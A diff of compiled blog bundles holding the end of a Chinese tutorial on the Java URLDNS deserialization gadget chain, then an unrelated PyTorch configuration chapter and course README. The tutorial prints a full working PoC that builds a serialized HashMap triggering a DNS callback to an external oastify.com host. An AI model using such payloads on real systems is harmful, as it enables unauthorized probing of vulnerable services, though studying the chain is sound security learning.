\u4f1a\u8c03\u7528\u5230URL\u7c7b\u7684hashCode\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827057.png",alt:"image-20221118005348414"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6709\u4e2atips\uff0c\u5728hashMap\u7528put\u5199\u5165\u952e\u503c\u662f\uff0c\u4e5f\u4f1a\u89e6\u53d1putVal\u65b9\u6cd5\uff0c\u5373\u4e5f\u4f1a\u8d70\u5230\u8fd9\u4e00\u6b65\uff0c\u4e3a\u4e86\u4e0e\u540e\u9762\u7684DNS\u8bf7\u6c42\u4e0d\u51b2\u7a81\uff0c\u8fd9\u91cc\u53ef\u4ee5\u6709\u4e24\u79cd\u65b9\u6cd5\u5904\u7406"}),"\n",(0,t.jsxs)(n.p,{children:["1.\u5728\u5e8f\u5217\u5316\u4e4b\u524d\u5c06hashCode\u7684\u503c\u8bbe\u7f6e\u4e3a\u5176\u4ed6\u503c\uff0c\u6700\u540e\u5728put\u5b8c\u6210\u540e\u5c06hashCode\u503c\u6539\u4f1a ",(0,t.jsx)(n.code,{children:"-1"})]}),"\n",(0,t.jsx)(n.p,{children:"2.\u6216\u8005\u76f4\u63a5\u5c06handler\u6210\u5458\u7684\u5bf9\u8c61\u7684 openConnection getHostAddress\u65b9\u6cd5\u7684\u8fd4\u56de\u503c\u4e3anull \u5373\u53ef(\u53c2\u8003 ysoserial)\u3002\u90a3\u4e48\u5373\u4f7f\u5728\u8c03\u7528handlder\u7684getHostAddress \u4e5f\u4e0d\u4f1a\u89e6\u53d1\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:"static class SilentURLStreamHandler extends URLStreamHandler {\n\n protected URLConnection openConnection(URL u) throws IOException {\n return null;\n }\n\n protected synchronized InetAddress getHostAddress(URL u) {\n return null;\n }\n}\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u539f\u751f\u7684handler\u6210\u5458\u4e3aURLStreamHandler \u7c7b\u7684\u5b9e\u4f8b\u5bf9\u8c61\uff0c\u8c03\u7528URLStreamHandler \u7684hashCode\u5c31\u4f1a\u89e6\u53d1DNS\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827058.png",alt:"image-20221118010558799"})}),"\n",(0,t.jsx)(n.h3,{id:"\u5b8c\u6574poc",children:"\u5b8c\u6574POC"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:'import java.io.*;\nimport java.lang.reflect.Field;\nimport java.net.URL;\nimport java.util.HashMap;\n\npublic class URLDNS {\n public static void serializeble(Object obj) throws IOException {\n ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));\n oos.writeObject(obj);\n }\n public static Object unserializeble(String filename) throws IOException,ClassNotFoundException {\n ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));\n return oos.readObject();\n }\n public static void main(String[] args) throws Exception{\n HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();\n URL url = new URL("http://96dcnltlo7dpe8sxm2aw7nwe359wxold.oastify.com");\n Class<? extends URL> uclass = url.getClass();\n Field hashCode = uclass.getDeclaredField("hashCode");\n hashCode.setAccessible(true);\n hashCode.set(url,1234);\n hashMap.put(url,1);\n hashCode.set(url,-1);\n serializeble(hashMap);\n Object oos = unserializeble("ser.txt");\n }\n\n}\n'})}),"\n",(0,t.jsx)(n.h3,{id:"\u8ddf\u70b9\u8c03\u8bd5",children:"\u8ddf\u70b9\u8c03\u8bd5"}),"\n",(0,t.jsx)(n.p,{children:"\u8fdb\u5165hashMap\u7684readObject\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827059.png",alt:"image-20221118011454702"})}),"\n",(0,t.jsx)(n.p,{children:"\u6267\u884cURL\u7684hashCode\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827060.png",alt:"image-20221118011539551"})}),"\n",(0,t.jsx)(n.p,{children:"hashCode\u5c5e\u6027\u503c\u4e3a-1\uff0c\u8c03\u7528handler\u7684hashCode\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827061.png",alt:"image-20221118011650083"})}),"\n",(0,t.jsx)(n.p,{children:"\u6700\u540e\u8c03\u7528getHostAddress\uff08\uff09\uff0c\u65b9\u6cd5\u6267\u884cDNS\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827062.png",alt:"image-20221118012143052"})})]})}function h(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>l,x:()=>r});var a=s(96540);const t={},i=a.createContext(t);function l(e){const n=a.useContext(i);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:l(e.components),a.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/3763dbe0.76569d1d.js b/assets/js/3763dbe0.76569d1d.js new file mode 100644 index 0000000..2a48350 --- /dev/null +++ b/assets/js/3763dbe0.76569d1d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4477],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>c});var s=t(96540);const r={},i=s.createContext(r);function l(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),s.createElement(i.Provider,{value:n},e.children)}},55302:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>h,frontMatter:()=>l,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","title":"3.2 \u57fa\u672c\u914d\u7f6e.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"},"next":{"title":"3.3 \u6570\u636e\u8bfb\u5165.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165"}}');var r=t(74848),i=t(28453);const l={},c="3.2 \u57fa\u672c\u914d\u7f6e.md",o={},d=[];function a(e){const n={code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"32-\u57fa\u672c\u914d\u7f6emd",children:"3.2 \u57fa\u672c\u914d\u7f6e.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"32-\u57fa\u672c\u914d\u7f6e",children:"3.2 \u57fa\u672c\u914d\u7f6e"}),"\n",(0,r.jsx)(n.p,{children:"\u5bf9\u4e8e\u4e00\u4e2aPyTorch\u9879\u76ee\uff0c\u6211\u4eec\u9700\u8981\u5bfc\u5165\u4e00\u4e9bPython\u5e38\u7528\u7684\u5305\u6765\u5e2e\u52a9\u6211\u4eec\u5feb\u901f\u5b9e\u73b0\u529f\u80fd\u3002\u5e38\u89c1\u7684\u5305\u6709os\u3001numpy\u7b49\uff0c\u6b64\u5916\u8fd8\u9700\u8981\u8c03\u7528PyTorch\u81ea\u8eab\u4e00\u4e9b\u6a21\u5757\u4fbf\u4e8e\u7075\u6d3b\u4f7f\u7528\uff0c\u6bd4\u5982torch\u3001torch.nn\u3001torch.utils.data.Dataset\u3001torch.utils.data.DataLoader\u3001torch.optimizer\u7b49\u7b49\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60/\u673a\u5668\u5b66\u4e60\u4e2d\u5e38\u7528\u5230\u7684\u5305"}),"\n",(0,r.jsx)(n.li,{children:"GPU\u7684\u914d\u7f6e"}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u9996\u5148\u5bfc\u5165\u5fc5\u987b\u7684\u5305\u3002\u6ce8\u610f\u8fd9\u91cc",(0,r.jsx)(n.strong,{children:"\u53ea\u662f\u5efa\u8bae\u5bfc\u5165\u7684\u5305\u5bfc\u5165\u7684\u65b9\u5f0f"}),"\uff0c\u53ef\u4ee5\u91c7\u7528\u4e0d\u540c\u7684\u65b9\u6848\uff0c\u6bd4\u5982\u6d89\u53ca\u5230\u8868\u683c\u4fe1\u606f\u7684\u8bfb\u5165\u5f88\u53ef\u80fd\u7528\u5230pandas\uff0c\u5bf9\u4e8e\u4e0d\u540c\u7684\u9879\u76ee\u53ef\u80fd\u8fd8\u9700\u8981\u5bfc\u5165\u4e00\u4e9b\u66f4\u4e0a\u5c42\u7684\u5305\u5982cv2\u7b49\u3002\u5982\u679c\u6d89\u53ca\u53ef\u89c6\u5316\u8fd8\u4f1a\u7528\u5230matplotlib\u3001seaborn\u7b49\u3002\u6d89\u53ca\u5230\u4e0b\u6e38\u5206\u6790\u548c\u6307\u6807\u8ba1\u7b97\u4e5f\u5e38\u7528\u5230sklearn\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"import os \nimport numpy as np \nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.optim as optimizer\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6839\u636e\u524d\u9762\u6211\u4eec\u5bf9\u6df1\u5ea6\u5b66\u4e60\u4efb\u52a1\u7684\u68b3\u7406\uff0c\u6709\u5982\u4e0b\u51e0\u4e2a\u8d85\u53c2\u6570\u53ef\u4ee5\u7edf\u4e00\u8bbe\u7f6e\uff0c\u65b9\u4fbf\u540e\u7eed\u8c03\u8bd5\u65f6\u4fee\u6539\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"batch size"}),"\n",(0,r.jsx)(n.li,{children:"\u521d\u59cb\u5b66\u4e60\u7387\uff08\u521d\u59cb\uff09"}),"\n",(0,r.jsx)(n.li,{children:"\u8bad\u7ec3\u6b21\u6570\uff08max_epochs\uff09"}),"\n",(0,r.jsx)(n.li,{children:"GPU\u914d\u7f6e"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"batch_size = 16\n# \u6279\u6b21\u7684\u5927\u5c0f\nlr = 1e-4\n# \u4f18\u5316\u5668\u7684\u5b66\u4e60\u7387\nmax_epochs = 100\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u9664\u4e86\u76f4\u63a5\u5c06\u8d85\u53c2\u6570\u8bbe\u7f6e\u5728\u8bad\u7ec3\u7684\u4ee3\u7801\u91cc\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528yaml\u3001json\uff0cdict\u7b49\u6587\u4ef6\u6765\u5b58\u50a8\u8d85\u53c2\u6570\uff0c\u8fd9\u6837\u53ef\u4ee5\u65b9\u4fbf\u540e\u7eed\u7684\u8c03\u8bd5\u548c\u4fee\u6539\uff0c\u8fd9\u79cd\u65b9\u5f0f\u4e5f\u662f\u5e38\u89c1\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\uff08mmdetection\uff0cPaddledetection\uff0cdetectron2\uff09\u548c\u4e00\u4e9bAI Lab\u91cc\u9762\u6bd4\u8f83\u5e38\u89c1\u7684\u4e00\u79cd\u53c2\u6570\u8bbe\u7f6e\u65b9\u5f0f\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u7684\u6570\u636e\u548c\u6a21\u578b\u5982\u679c\u6ca1\u6709\u7ecf\u8fc7\u663e\u5f0f\u6307\u660e\u8bbe\u5907\uff0c\u9ed8\u8ba4\u4f1a\u5b58\u50a8\u5728CPU\u4e0a\uff0c\u4e3a\u4e86\u52a0\u901f\u6a21\u578b\u7684\u8bad\u7ec3\uff0c\u6211\u4eec\u9700\u8981\u663e\u5f0f\u8c03\u7528GPU\uff0c\u4e00\u822c\u60c5\u51b5\u4e0bGPU\u7684\u8bbe\u7f6e\u6709\u4e24\u79cd\u5e38\u89c1\u7684\u65b9\u5f0f\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"# \u65b9\u6848\u4e00\uff1a\u4f7f\u7528os.environ\uff0c\u8fd9\u79cd\u60c5\u51b5\u5982\u679c\u4f7f\u7528GPU\u4e0d\u9700\u8981\u8bbe\u7f6e\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1' # \u6307\u660e\u8c03\u7528\u7684GPU\u4e3a0,1\u53f7\n\n# \u65b9\u6848\u4e8c\uff1a\u4f7f\u7528\u201cdevice\u201d\uff0c\u540e\u7eed\u5bf9\u8981\u4f7f\u7528GPU\u7684\u53d8\u91cf\u7528.to(device)\u5373\u53ef\ndevice = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\") # \u6307\u660e\u8c03\u7528\u7684GPU\u4e3a1\u53f7\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u5f53\u7136\u8fd8\u4f1a\u6709\u4e00\u4e9b\u5176\u4ed6\u6a21\u5757\u6216\u7528\u6237\u81ea\u5b9a\u4e49\u6a21\u5757\u4f1a\u7528\u5230\u7684\u53c2\u6570\uff0c\u6709\u9700\u8981\u4e5f\u53ef\u4ee5\u5728\u4e00\u5f00\u59cb\u8fdb\u884c\u8bbe\u7f6e\u3002"})]})}function h(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/3782ce4e.2cf901db.js b/assets/js/3782ce4e.2cf901db.js new file mode 100644 index 0000000..e90dad6 --- /dev/null +++ b/assets/js/3782ce4e.2cf901db.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3862],{28453:(n,e,t)=>{t.d(e,{R:()=>r,x:()=>h});var l=t(96540);const s={},i=l.createContext(s);function r(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function h(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:r(n.components),l.createElement(i.Provider,{value:e},n.children)}},86407:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>h,default:()=>j,frontMatter:()=>r,metadata:()=>l,toc:()=>d});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/README","title":"AI","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE"},"next":{"title":"PyTorch","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/"}}');var s=t(74848),i=t(28453);const r={},h="AI",c={},d=[{value:"\u4e00\u3001\u9879\u76ee\u521d\u8877",id:"\u4e00\u9879\u76ee\u521d\u8877",level:2},{value:"\u4e8c\u3001\u5185\u5bb9\u7b80\u4ecb",id:"\u4e8c\u5185\u5bb9\u7b80\u4ecb",level:2},{value:"\u4e09\u3001\u4eba\u5458\u5b89\u6392",id:"\u4e09\u4eba\u5458\u5b89\u6392",level:2},{value:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891",id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891",level:2},{value:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e",id:"\u4e94\u5173\u4e8e\u8d21\u732e",level:2},{value:"Commit Message",id:"commit-message",level:3},{value:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212",id:"\u516d\u66f4\u65b0\u8ba1\u5212",level:2},{value:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988",id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",level:2},{value:"\u516b\u3001\u5173\u6ce8\u6211\u4eec",id:"\u516b\u5173\u6ce8\u6211\u4eec",level:2},{value:"LICENSE",id:"license",level:2}];function x(n){const e={a:"a",blockquote:"blockquote",br:"br",code:"code",details:"details",div:"div",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"ai",children:"AI"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:03"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"\u6df1\u5165\u6d45\u51fapytorch",children:"\u6df1\u5165\u6d45\u51faPyTorch"}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsxs)(e.p,{children:["[!IMPORTANT]\n",(0,s.jsx)(e.a,{href:"https://datawhalechina.github.io/thorough-pytorch/",children:"\u5728\u7ebf\u9605\u8bfb\u5730\u5740"})," | ",(0,s.jsx)(e.a,{href:"https://www.bilibili.com/video/BV1L44y1472Z",children:"\u914d\u5957\u89c6\u9891\u6559\u7a0b"})," | ",(0,s.jsx)(e.a,{href:"https://aiplusx.momodel.cn/classroom/class/664bf5db24cff38ad7d2a20e?activeKey=intro",children:"\u667a\u6d77\uff08\u56fd\u5bb6\u7ea7AI\u79d1\u6559\u5e73\u53f0\uff09"})]}),"\n",(0,s.jsx)(e.p,{children:"\u8bf7\u6ce8\u610f\uff1a\u5728\u7ebf\u6587\u6863\u66f4\u65b0\u843d\u540e\u4e8e\u4e3b\u4ed3\u5e93\u66f4\u65b0\uff0c\u5efa\u8bae\u770bsource\u6587\u4ef6\u5939\u4e0b\u7684markdown\u6587\u4ef6"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e00\u9879\u76ee\u521d\u8877",children:"\u4e00\u3001\u9879\u76ee\u521d\u8877"}),"\n",(0,s.jsx)(e.p,{children:"PyTorch\u662f\u5229\u7528\u6df1\u5ea6\u5b66\u4e60\u8fdb\u884c\u6570\u636e\u79d1\u5b66\u7814\u7a76\u7684\u91cd\u8981\u5de5\u5177\uff0c\u5728\u7075\u6d3b\u6027\u3001\u53ef\u8bfb\u6027\u548c\u6027\u80fd\u4e0a\u90fd\u5177\u5907\u76f8\u5f53\u7684\u4f18\u52bf\uff0c\u8fd1\u5e74\u6765\u5df2\u6210\u4e3a\u5b66\u672f\u754c\u5b9e\u73b0\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u6700\u5e38\u7528\u7684\u6846\u67b6\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u8003\u8651\u5230PyTorch\u7684\u5b66\u4e60\u517c\u5177\u7406\u8bba\u50a8\u5907\u548c\u52a8\u624b\u8bad\u7ec3\uff0c\u4e24\u624b\u90fd\u8981\u6293\u4e24\u624b\u90fd\u8981\u786c\u7684\u7279\u70b9\uff0c\u6211\u4eec\u5f00\u53d1\u4e86\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u8bfe\u7a0b\uff0c\u671f\u671b\u4ee5\u7ec4\u961f\u5b66\u4e60\u7684\u5f62\u5f0f\uff0c\u5e2e\u52a9\u5927\u5bb6\u4ece\u5165\u95e8\u5230\u719f\u7ec3\u638c\u63e1PyTorch\u5de5\u5177\uff0c\u8fdb\u800c\u5b9e\u73b0\u81ea\u5df1\u7684\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u7684\u613f\u666f\u662f\uff1a\u901a\u8fc7\u7ec4\u961f\u5b66\u4e60\uff0c\u5927\u5bb6\u80fd\u591f\u638c\u63e1\u7531\u6d45\u5165\u6df1\u5730PyTorch\u7684\u57fa\u672c\u77e5\u8bc6\u548c\u5185\u5bb9\uff0c\u7ecf\u8fc7\u81ea\u5df1\u7684\u52a8\u624b\u5b9e\u8df5\u52a0\u6df1\u64cd\u4f5c\u7684\u719f\u7ec3\u5ea6\u3002\u540c\u65f6\u901a\u8fc7\u9879\u76ee\u5b9e\u6218\uff0c\u5145\u5206\u953b\u70bc\u7f16\u7a0b\u80fd\u529b\uff0c\u638c\u63e1PyTorch\u8fdb\u884c\u6df1\u5ea6\u5b66\u4e60\u7684\u57fa\u672c\u6d41\u7a0b\uff0c\u63d0\u5347\u89e3\u51b3\u5b9e\u9645\u95ee\u9898\u7684\u80fd\u529b\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u5b66\u4e60\u7684\u5148\u4fee\u8981\u6c42\u662f\uff0c\u4f1a\u4f7f\u7528Python\u7f16\u7a0b\uff0c\u4e86\u89e3\u5305\u62ec\u795e\u7ecf\u7f51\u7edc\u5728\u5185\u7684\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\uff0c\u52e4\u4e8e\u52a8\u624b\u5b9e\u8df5\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u662f\u4e00\u4e2a\u7cfb\u5217\uff0c\u4e00\u5171\u6709\u4e09\u4e2a\u90e8\u5206\u3002\u5df2\u7ecf\u4e0a\u7ebf\u7684\u662f\u672c\u7cfb\u5217\u7684\u7b2c\u4e00\u3001\u4e8c\u90e8\u5206\uff0c\u540e\u7eed\u4f1a\u4e0d\u65ad\u66f4\u65b0\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\uff08\u4e0b\uff09\uff0c\u7ed9\u51fa\u66f4\u8d34\u5408\u5b9e\u9645\u5e94\u7528\u7684\u5b9e\u6218\u6848\u4f8b\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u4e8c\u5185\u5bb9\u7b80\u4ecb",children:"\u4e8c\u3001\u5185\u5bb9\u7b80\u4ecb"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u96f6\u7ae0\uff1a\u524d\u7f6e\u77e5\u8bc6\uff08\u9009\u5b66\uff09\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u4eba\u5de5\u667a\u80fd\u7b80\u53f2"}),"\n",(0,s.jsx)(e.li,{children:"\u76f8\u5173\u8bc4\u4ef7\u6307\u6807"}),"\n",(0,s.jsx)(e.li,{children:"\u5e38\u7528\u5305\u7684\u5b66\u4e60"}),"\n",(0,s.jsx)(e.li,{children:"Jupyter\u76f8\u5173\u64cd\u4f5c"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e00\u7ae0\uff1aPyTorch\u7684\u7b80\u4ecb\u548c\u5b89\u88c5\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"PyTorch\u7b80\u4ecb"}),"\n",(0,s.jsx)(e.li,{children:"PyTorch\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(e.li,{children:"PyTorch\u76f8\u5173\u8d44\u6e90\u7b80\u4ecb"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e8c\u7ae0\uff1aPyTorch\u57fa\u7840\u77e5\u8bc6\n",(0,s.jsxs)(e.ul,{children:["\n",(